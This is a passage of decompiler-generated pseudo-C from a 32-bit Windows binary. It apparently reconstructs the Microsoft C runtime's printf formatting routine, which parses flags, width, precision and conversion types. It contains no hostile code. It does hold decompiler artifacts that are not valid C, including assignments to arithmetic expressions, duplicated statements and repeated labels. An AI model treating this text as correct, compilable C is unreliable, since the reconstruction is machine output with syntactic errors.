									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										L177:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L181:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L207;
												}
												L182:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2bc);
													__eax = E00428290(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E004282D0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E00428290(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L203:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E004282D0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L204;
												} else {
													L195:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L203;
													}
													L196:
													 *(__ebp - 0x2d4) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
													while(1) {
														L197:
														__ecx =  *(__ebp - 0x2c4);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L198:
														__eax =  *(__ebp - 0x2c0);
														 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
														__edx =  *(__ebp - 0x316) & 0x0000ffff;
														__eax = __ebp - 0x2d0;
														__ecx = __ebp - 0x2c8;
														 *(__ebp - 0x2d4) = E00434220(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														__eflags =  *(__ebp - 0x2d4);
														if( *(__ebp - 0x2d4) != 0) {
															L200:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L199:
														__eflags =  *(__ebp - 0x2c8);
														if( *(__ebp - 0x2c8) != 0) {
															L201:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c8);
															__ebp - 0x2d0 = E004282D0( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L200;
													}
													L202:
													L204:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2bc);
															__eax = E00428290(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L207:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C3D0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L209:
													 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
													 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
													if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
															 *(_t524 - 0x2fc) = 0;
														} else {
															 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404430) & 0x0000000f;
														}
													}
													L7:
													 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
													_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
													 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404450) >> 4;
													 *(_t524 - 0x300) =  *(_t524 - 0x25c);
													if( *(_t524 - 0x300) > 7) {
														continue;
													}
													L8:
													switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M004280E8))) {
														case 0:
															L9:
															 *(_t524 - 0xc) = 0;
															_t483 = E00431210( *(_t524 - 0x251) & 0x000000ff, E0041ACE0(_t524 - 0x40));
															_t528 = _t526 + 8;
															if(_t483 == 0) {
																L15:
																E004281F0( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t526 = _t528 + 0xc;
																goto L209;
															} else {
																E004281F0( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t528 = _t528 + 0xc;
																_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																asm("sbb eax, eax");
																 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																if(_t513 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t495 = L0041E210();
																	_t528 = _t528 + 0x14;
																	if(_t495 == 1) {
																		asm("int3");
																	}
																}
																L13:
																if( *(_t524 - 0x278) != 0) {
																	goto L15;
																} else {
																	 *((intOrPtr*)(L00422D00(_t509))) = 0x16;
																	E00422A90(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t524 - 0x2e4) = 0xffffffff;
																	E0041ACB0(_t524 - 0x40);
																	_t478 =  *(_t524 - 0x2e4);
																	goto L211;
																}
															}
														case 1:
															L16:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L209;
														case 2:
															L17:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															__eflags =  *(__ebp - 0x304) - 0x10;
															if( *(__ebp - 0x304) > 0x10) {
																goto L24;
															}
															L18:
															__ecx =  *(__ebp - 0x304);
															_t63 = __ecx + 0x428120; // 0x498d04
															__edx =  *_t63 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428108))) {
																case 0:
																	goto L21;
																case 1:
																	goto L22;
																case 2:
																	goto L20;
																case 3:
																	goto L19;
																case 4:
																	goto L23;
																case 5:
																	goto L24;
															}
														case 3:
															L25:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t87 = __ecx - 0x30; // -48
																__edx = __eax + _t87;
																 *(__ebp - 0x18) = __eax + _t87;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															L30:
															goto L209;
														case 4:
															L31:
															 *(__ebp - 0x30) = 0;
															goto L209;
														case 5:
															L32:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t98;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L209;
														case 6:
															L38:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
															__eflags =  *(__ebp - 0x308) - 0x2e;
															if( *(__ebp - 0x308) > 0x2e) {
																L61:
																goto L209;
															}
															L39:
															__ecx =  *(__ebp - 0x308);
															_t106 = __ecx + 0x428148; // 0x79ff9003
															__edx =  *_t106 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428134))) {
																case 0:
																	L44:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L47:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L50:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L56:
																				L58:
																				goto L61;
																			}
																			L51:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L56;
																			}
																			L52:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L56;
																			}
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L56;
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L56;
																			}
																			L55:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L9;
																			}
																			goto L56;
																		}
																		L48:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	}
																	L45:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L47;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																case 1:
																	L59:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L61;
																case 2:
																	L40:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L61;
																case 3:
																	L60:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L61;
																case 4:
																	goto L61;
															}
														case 7:
															L62:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x30c) = __ecx;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
															__eflags =  *(__ebp - 0x30c) - 0x37;
															if( *(__ebp - 0x30c) > 0x37) {
																while(1) {
																	L181:
																	__eflags =  *(__ebp - 0x28);
																	if( *(__ebp - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															}
															L63:
															_t147 =  *(__ebp - 0x30c) + 0x4281b4; // 0xcccccc0d
															__ecx =  *_t147 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00428178))) {
																case 0:
																	L114:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L115;
																case 1:
																	L64:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L66;
																case 2:
																	L79:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L81;
																case 3:
																	L138:
																	 *(__ebp - 0x260) = 7;
																	L139:
																	 *(__ebp - 8) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *(__ebp - 0x14) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	goto L144;
																case 4:
																	L72:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x284) = E00428360(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x284);
																	if( *(__ebp - 0x284) == 0) {
																		L74:
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																		L78:
																		goto L181;
																	}
																	L73:
																	__ecx =  *(__ebp - 0x284);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L78;
																	}
																	goto L74;
																case 5:
																	L115:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L117:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L120:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L122:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B750(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			_t274 = __eax - 8; // 0xe852f855
																			__ecx =  *_t274;
																			_t275 = __eax - 4; // 0xbc20
																			__edx =  *_t275;
																			 *(__ebp - 0x2a0) =  *_t274;
																			 *(__ebp - 0x29c) =  *_t275;
																			__ecx = __ebp - 0x40;
																			_push(E0041ACE0(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a0;
																			_push(__ebp - 0x2a0);
																			__eax =  *0x440374; // 0xf2632e26
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041ACE0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0xf2d1ae26
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041ACE0(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0xf2c8ae26
																					E00424550(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																			do {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			} while ( *(__ebp - 0x30c) > 0x37);
																			goto L63;
																		}
																		L118:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L120;
																		}
																		L119:
																		 *(__ebp - 0x30) = 1;
																		goto L122;
																	}
																	L116:
																	 *(__ebp - 0x30) = 6;
																	goto L122;
																case 6:
																	L66:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L70:
																		__ebp + 0x14 = E00428360(__ebp + 0x14);
																		 *(__ebp - 0x280) = __ax;
																		__cl =  *(__ebp - 0x280);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																		L71:
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L67:
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E004283A0(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E00434220(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																	L69:
																	goto L71;
																case 7:
																	L135:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 8) = 0xa;
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																	__eflags =  *(__ebp - 0x10) & 0x00008000;
																	if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																		__eflags =  *(__ebp - 0x10) & 0x00001000;
																		if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					__eax = E00428360(__ebp + 0x14);
																					__edx = 0;
																					__eflags = 0;
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = 0;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00428360(__ebp + 0x14);
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																					 *(__ebp - 0x2ac) = __edx;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00428360(__ebp + 0x14);
																					__ax = __eax;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			}
																		} else {
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428380(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x2b0) = E00428380(__ebp + 0x14);
																		 *(__ebp - 0x2ac) = __edx;
																	}
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																	__eflags =  *(__ebp - 0x10) & 0x00000040;
																	if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																case 8:
																	L100:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x294) = E00428360(__ebp + 0x14);
																	__eax = E00433F00();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L110:
